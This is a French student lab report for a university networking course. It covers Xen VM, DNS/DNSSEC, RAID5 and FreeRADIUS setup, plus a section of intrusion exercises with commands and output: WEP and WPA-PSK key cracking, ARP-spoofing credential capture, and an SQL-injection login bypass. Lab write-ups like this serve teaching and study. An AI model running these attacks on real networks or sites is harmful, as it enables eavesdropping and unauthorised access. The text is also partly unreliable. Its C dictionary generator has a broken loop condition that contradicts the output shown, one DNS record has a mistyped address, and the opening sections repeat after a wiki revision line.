Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:16:22Z

Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

